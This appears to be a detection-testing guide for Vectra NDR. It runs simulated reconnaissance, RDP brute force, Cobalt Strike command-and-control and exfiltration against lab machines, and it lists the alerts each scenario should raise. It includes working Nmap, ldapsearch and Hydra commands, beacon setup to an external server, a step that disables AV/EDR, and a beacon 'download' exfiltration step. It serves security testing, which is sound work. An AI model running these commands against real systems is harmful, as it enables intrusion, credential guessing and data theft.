Vectra NDR Test Scenarios¶

Use test machines

Testing scenarios use real attack tools and techniques. Do not run them on production machines or in a production environment without written permission!

Initial training period

Before starting testing, make sure Vectra NDR has completed its baseline learning period (typically 7–14 days). Testing before this period ends may yield false or incomplete results. Confirm the duration with your Vectra representative.

RCN - Network Reconnaissance via Nmap¶

Attack type: Reconnaissance

This scenario demonstrates Vectra NDR's response to network scanning - actions an attacker performs after gaining initial access to explore the infrastructure, discover active hosts, and identify exposed services.

According to Vectra's "Best Practices Guide", network reconnaissance is how attackers explore the environment after gaining access. They scan for active hosts, open ports, and services to plan lateral movement and privilege escalation. Activity must be simulated gradually to reflect the real-world behaviour of a threat actor.

Preparation¶

Install Nmap on the machine from which the scan will be performed (Linux or Windows):

# Linux (Debian/Ubuntu)
sudo apt update && sudo apt install nmap -y

# Linux (RHEL/CentOS)
sudo yum install nmap -y

# Windows - download the installer from https://nmap.org/download.html
# or via winget:
winget install -e --id Insecure.Nmap

Attack¶

Perform two consecutive scans of the target subnet.

Scan 1 - full TCP port scan with service and OS detection:

nmap -p 1-65535 -T4 -A -v 192.168.10.0/24

Parameters:
  -p 1-65535  scan all TCP ports (1–65535)
  -T4         aggressive pace (faster, but more noticeable)
  -A          enable OS detection, service version detection, NSE scripts, and traceroute
  -v          detailed real-time output

Scan 2 - combined TCP SYN and UDP scan:

nmap -sS -sU -T4 -A -v 192.168.10.0/24

Parameters:
  -sS         TCP SYN scan (half-open connection, less noticeable than -sT)
  -sU         UDP scan (detection of UDP services: DNS, SNMP, DHCP, etc.)
  -T4         aggressive pace
  -A          OS and service version detection
  -v          detailed output

Replace the subnet

192.168.10.0/24 is an example. Replace it with the actual subnet of your test infrastructure. Make sure you scan only permitted hosts.

What happened?¶

Nmap sent a large number of TCP SYN and UDP packets to all hosts and ports in the specified subnet. This activity creates a characteristic network pattern: a single host sequentially contacts a large number of other hosts and ports, which differs significantly from normal traffic.

Vectra NDR analysed the traffic and detected anomalous behaviour: the host is initiating an unusually large number of connections to various internal addresses. This activity matches network reconnaissance patterns and triggers corresponding alerts.

Expected Vectra detections:

Suspicious Port Scan - the host is scanning a large number of ports on individual hosts
Suspicious Port Sweep - the host contacts a large number of hosts on specific ports
Internal Darknet Scan - when accessing IP addresses that have not been active on the network

DCR - Domain Reconnaissance via a Kali Linux script¶

Attack type: Reconnaissance (Domain / Active Directory)

This scenario demonstrates Vectra NDR's response to internal Active Directory reconnaissance - actions an attacker performs after gaining access to the network to identify domain users, computers, and services.

According to Vectra's "Best Practices Guide", after mapping the network, attackers turn to Active Directory to identify high-value targets: they enumerate users, groups, policies, and trust relationships. Activity should be simulated gradually and from different hosts to keep it realistic.

Preparation¶

Deploy Kali Linux within your test infrastructure (as a physical machine, VM, or container) with access to the network where the target hosts are located.

Make sure the required tools are installed (in Kali Linux they are included in the base distribution):

# Check whether the tools are available
which nmap smbclient ldapsearch

# If any tool is missing, install it:
sudo apt update && sudo apt install nmap smbclient ldap-utils -y

Create the recon.sh script file:

nano recon.sh

Paste the following content:

#!/bin/bash
echo "[*] Starting internal recon..."

# Example only - replace with your own IP addresses
nmap -sS -T4 -p 88,135,139,445,389,3389 <CLIENT_IP_1> <CLIENT_IP_2> <DC_IP>

# Example only - replace with your own target
smbclient -L //<TARGET_IP> -N

# Example only - replace with your own LDAP/DC parameters
ldapsearch -x -H ldap://<DC_IP> -b "DC=example,DC=local" "(objectClass=user)"

What to replace:

<CLIENT_IP_1> - IP of the first test host
<CLIENT_IP_2> - IP of the second test host
<DC_IP> - IP of the domain controller
<TARGET_IP> - IP of the host on which SMB is being tested
DC=example,DC=local - your actual LDAP base DN

Make the script executable:
```
chmod +x recon.sh
```

Attack¶

Run the script as root:

sudo ./recon.sh

The terminal will show the sequential output of three stages: Nmap scan results, a list of SMB shares, and a list of user objects from LDAP. The script runs step by step - each command generates network activity characteristic of internal domain reconnaissance.

What happened?¶

The script executed three types of requests against the Active Directory infrastructure:

Nmap scanned specific AD ports (88 - Kerberos, 389 - LDAP, 445 - SMB, 3389 - RDP) on the specified hosts, generating a pattern of targeted scanning for known services.

smbclient enumerated network shares via the SMB protocol - a typical action for identifying available resources in the domain.

ldapsearch executed a bulk LDAP query to the Domain Controller to retrieve a list of all user objects - one of the most characteristic signs of domain reconnaissance.

Vectra NDR analysed the LDAP traffic and detected an anomaly: a host that does not typically issue bulk queries to AD sent an LDAP query with an unusually broad scope. Combined with the Nmap and SMB activity, this raised the overall suspicion level.

Expected Vectra detections:

Suspicious LDAP Query - bulk or broad LDAP query to Active Directory
Suspicious Port Scan - targeted scanning of AD ports
RPC Recon - if the script triggered RPC calls (via new ports or hosts)

LAT - Lateral Movement Detection via Hydra (RDP brute force)¶

Attack type: Lateral Movement

This scenario demonstrates Vectra NDR's response to a lateral-movement attempt that involves brute-forcing the password of an RDP service on another host - a technique attackers use to gain access to neighbouring systems on the network.

According to Vectra's "Best Practices Guide", lateral movement involves moving between systems to escalate privileges or access sensitive data. Tests should simulate login attempts and credential reuse. RDP brute force is one of the most common methods.

Preparation¶

Install Hydra on a Kali Linux or Windows machine from which the attack will be launched:

# Linux (Kali - installed by default)
# Check:
hydra -h | head -5

# If it is not installed:
sudo apt update && sudo apt install hydra -y

Create a password list file passlist.txt in the current directory. The file should contain a large number of passwords - one per line:
```
# Create the password file manually:
nano passlist.txt
```
Paste several hundred or thousand passwords, for example:
```
password
Password1
Password123
P@ssword1
Admin123
Welcome1
Summer2024
Winter2024
Company123
...
```
Wordlist tips

For a realistic test, use ready-made wordlists such as rockyou.txt, which ships with Kali Linux at /usr/share/wordlists/rockyou.txt.gz. Unpack it with gunzip /usr/share/wordlists/rockyou.txt.gz and use it as passlist.txt.

Attack¶

Run Hydra to brute force the RDP service on the target host:

hydra -l alice -P passlist.txt rdp://192.168.X.X

Parameters:
  -l alice        username to brute force
  -P passlist.txt path to the password list file
  rdp://          attack protocol (Remote Desktop Protocol)
  192.168.X.X     IP address of the target host

Be sure to replace the values

alice - replace with an actual username in your test environment
192.168.X.X - replace with the IP address of the target host that has RDP enabled

Make sure RDP (port 3389) is enabled and reachable on the target host.

Hydra will sequentially try passwords from the list and print progress to the terminal. An alert will appear in the Vectra NDR console.

What happened?¶

Hydra performed a large number of consecutive authentication attempts to the target host via the RDP protocol, using a single username with different passwords. Each failed attempt produces a corresponding server response, after which Hydra immediately moves on to the next password in the list.

Vectra NDR analysed the RDP traffic and detected an anomaly: one host was making an unusually high number of authentication attempts against another internal host over RDP, most of which failed. This pattern is a classic sign of a brute-force attack aimed at gaining access to a neighbouring system - which is lateral movement.

Expected Vectra detections:

Brute-Force (Lateral Movement) - mass login attempts via RDP between internal hosts
RDP Recon - multiple RDP connections, mostly unsuccessful
Suspicious Admin - if the attack succeeded and an RDP session was established

C2 - Command and Control via Cobalt Strike¶

Attack type: Command & Control (C2)

This scenario demonstrates Vectra NDR's response to the establishment of a covert C2 channel between an external server and a Windows machine inside the infrastructure using Cobalt Strike.

According to Vectra's "Best Practices Guide: How to Test an NDR Solution Effectively", most targeted attacks involve C2 activity shortly after initial access - C2 infrastructure is used in 60–80% of sophisticated attacks. Because NDR solutions focus on detecting post-compromise behaviour rather than the initial intrusion, this scenario is fundamental for testing.

Preparation¶

Set up a Linux server outside the infrastructure (for example, a cloud VPS - DigitalOcean, Hetzner, OVH, or any other provider). The server must have a public IP address and be reachable from the network where the target Windows machine is located.
Install Cobalt Strike on the Linux server.
```
# Download the Cobalt Strike distribution from the vendor
# Extract and start Team Server
cd /opt/cobaltstrike
sudo ./teamserver <SERVER_IP> <PASSWORD> [malleable_c2_profile]

# Example:
sudo ./teamserver 1.2.3.4 MyStr0ngPass
```
Note

<SERVER_IP> - the private IP address of your Linux server. <PASSWORD> - the password used by the Cobalt Strike client to connect to the Team Server. After Team Server starts, it prints a fingerprint - save it to verify when connecting the client.

For the client to connect to the Cobalt Strike server, the server must be "exposed" externally behind a public address. You can use either Static NAT (1-to-1) or PAT (Port Address Translation) and publish only the specific Listener port to the outside (the Listener port is specified in step 4). The public address under which the Listener is published on the Internet must be set in the Listener configuration in step 4.
Connect the Cobalt Strike client (GUI) to the Team Server. The client can run on either Linux or Windows:
```
# Linux - launching the client
cd /opt/cobaltstrike
./cobaltstrike
```
In the connection window, enter:
- Host: the Team Server's private IP address (1.2.3.4)
- Port: 50050 (default port)
- User: any operator name
- Password: the password specified when running teamserver

Create a Listener in Cobalt Strike - the point where beacon connections are received:

Cobalt Strike → Listeners → [Add button]

Fill in the fields:
  Name:                 test-https-listener
  Payload:              Beacon HTTPS         ← choose HTTPS for obfuscation
  Host:                 1.2.3.4              ← your server's private IP
  HTTPS Host (Stager):  1.2.3.4              ← your server's private IP
  Port:                 443                  ← standard HTTPS port (other ports are possible)

Click [Save]

Important

For the HTTPS listener to work on port 443 (other ports are possible), Team Server must have a TLS certificate. Cobalt Strike generates a self-signed certificate automatically, but for a realistic test it is recommended to use Let's Encrypt with your own domain.

Generate a beacon payload (an executable .exe file) that has to be run on the target Windows machine:

Attacks → Packages → Windows Executable

Fill in the fields:
  Listener: test-https-listener   ← choose the listener you created
  Output:   Windows EXE (.exe)
  x64:      ✓ (if the target is 64-bit Windows)

Click [Generate] → save the file, for example: beacon.exe

Note

The generated beacon.exe is a payload that, when run on the target machine, establishes a reverse connection to your Team Server via HTTPS.

Transfer beacon.exe to the target Windows machine inside the infrastructure by any convenient method (USB, network share, RDP copy-paste, etc.).

Because this uses the standard Cobalt Strike payload, any AV/EDR/XDR solution will by default prevent this executable from being saved and run. You therefore need to either add the executable to the AV/EDR exclusion list or fully disable protection in Prevent mode.

Attack¶

Run beacon.exe on the target Windows machine:

# Double-click beacon.exe
# or run it via the command line:

beacon.exe

After launching, a new connection - an active beacon - will appear in the Cobalt Strike client (the Beacon section or the Event Log tab). This means the C2 tunnel has been successfully established.

To simulate realistic activity, execute a few commands through the beacon console. Right-click the beacon → Interact, then run:

# In the Beacon Console:
sleep 45 10
# sleep <seconds> <jitter%> - sets a connection interval of ~45s with a ±10% deviation

whoami
shell ipconfig /all
shell net user /domain
shell systeminfo
shell tasklist /v

Why sleep matters

According to Vectra's recommendations, beacons should be simulated with realistic intervals (30–60 seconds). The command sleep 45 10 sets a check-in every ~45 seconds - this is the pattern NDR detects as an anomaly rather than as legitimate traffic.

Keep the beacon active and keep issuing commands for at least 30–60 minutes - Vectra NDR needs time to collect behavioural data and generate an alert.

What happened?¶

Cobalt Strike established an encrypted HTTPS tunnel between a Windows machine inside the infrastructure and an external Linux server. The beacon regularly contacts the Team Server at a steady interval (sleep), transmitting the results of executed commands.

Vectra NDR analysed the network traffic and detected an anomaly: an internal host established a long-running connection to an external address over HTTPS, and other traffic with a regular pattern of requests is tunneled over this standard protocol. After enough evidence accumulated (typically 30–60 minutes), an alert appeared in the Vectra console.

Expected Vectra detections:

Hidden HTTPS Tunnel - detection of a hidden tunnel over HTTPS
External Remote Access - reverse-communication pattern (host receives instructions from outside)

EXF - Data Exfiltration via Cobalt Strike¶

Attack type: Exfiltration

This scenario demonstrates Vectra NDR's response to the exfiltration of a large file through an active Cobalt Strike C2 tunnel - a method attackers use to upload stolen data to an external server.

Prerequisite

To run this scenario you need the active beacon set up in the C2 scenario (the fourth scenario in this document). Make sure the connection between the Windows machine and the Team Server is active and the beacon is responsive in the Cobalt Strike client. To keep the tunnel active you can, for example, open a VNC connection (right-click the computer → Explore → Desktop (VNC)).

According to Vectra's "Best Practices Guide", sufficient volume or fragmented transfers are required to trigger the NDR behavioural and statistical models. The file must be at least 1 GB.

Preparation¶

Prepare a test file of at least 1 GB on the target Windows machine (the one on which the beacon is active).

Option 1 - create a dummy file from the Windows command line:
```
# PowerShell - create a 1 GB file
$f = [System.IO.File]::Create("C:\Temp\testdata.bin")
$f.SetLength(1GB)
$f.Close()
```
Option 2 - using fsutil:
```
# CMD - create a 1 GB file
fsutil file createnew C:\Temp\testdata.bin 1073741824
```
Note

1073741824 is 1 GB in bytes (1024 × 1024 × 1024). The file is filled with zeros, which is sufficient to simulate data transfer.
Make sure the C:\Temp folder exists:
```
mkdir C:\Temp
```

Attack¶

Open the Cobalt Strike client on the Linux server. In the list of active beacon connections, locate the target and open the interaction console.

Step 1 - open the Beacon Console:

In the main Cobalt Strike window:
  → Right-click the active beacon in the table
  → Choose [Interact]
  → The Beacon Console (terminal window) will open

Step 2 - verify that the file exists on the target machine:

# In the Beacon Console:
shell dir C:\Temp\testdata.bin

The output should show a file approximately 1 GB in size.

Step 3 - perform exfiltration with the download command:

# In the Beacon Console:
download C:\Temp\testdata.bin

How the download command works

The download command initiates the transfer of a file from the target machine to the Team Server over the active HTTPS tunnel. The file is transferred in chunks through the encrypted beacon channel. Transfer progress is shown in the Beacon Console.

Step 4 - track progress in Downloads:

In the Cobalt Strike main menu:
  → View → Downloads
  → The progress of the file download to the Team Server is shown here

Transferring a 1 GB file takes some time, depending on connection speed. During that time a large volume of data is sent through the HTTPS tunnel, which is abnormal for typical beacon traffic.

Alternatively - via File Browser (GUI):

In the main Cobalt Strike window:
  → Right-click the beacon
  → Choose [Explore] → [File Browser]
  → In File Browser navigate to C:\Temp\
  → Right-click testdata.bin
  → Choose [Download]

Clean up after yourself

After the test is complete, delete the test file on the target machine:

# In the Beacon Console:
shell del C:\Temp\testdata.bin

What happened?¶

Cobalt Strike transferred a 1 GB file from the target Windows machine to the external Team Server through the active HTTPS beacon tunnel. The transfer was broken into fragments over an encrypted connection that looked like ordinary HTTPS traffic from the outside.

Vectra NDR detected an anomaly: an HTTPS tunnel that had previously carried only small amounts of command traffic (beacon check-ins) suddenly started carrying a significantly larger volume of data to the same external address. A sharp increase in outbound traffic over an already suspicious channel is a classic sign of data exfiltration.

Expected Vectra detections:

Data Smuggler - the host accumulates and sends a large volume of data outside through an existing tunnel
Smash and Grab - if the transfer happens quickly and involves a large volume
Hidden HTTPS Tunnel - reinforcement of the signal already raised in the C2 scenario